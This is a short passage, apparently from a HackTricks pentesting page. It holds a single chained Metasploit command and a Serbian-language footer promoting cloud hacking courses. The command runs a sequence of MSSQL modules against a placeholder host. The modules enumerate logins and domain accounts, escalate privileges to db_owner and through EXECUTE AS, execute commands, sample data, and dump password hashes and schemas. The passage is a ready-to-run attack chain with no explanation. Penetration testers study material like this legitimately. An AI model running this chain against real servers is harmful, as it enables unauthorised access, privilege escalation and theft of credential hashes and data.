Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks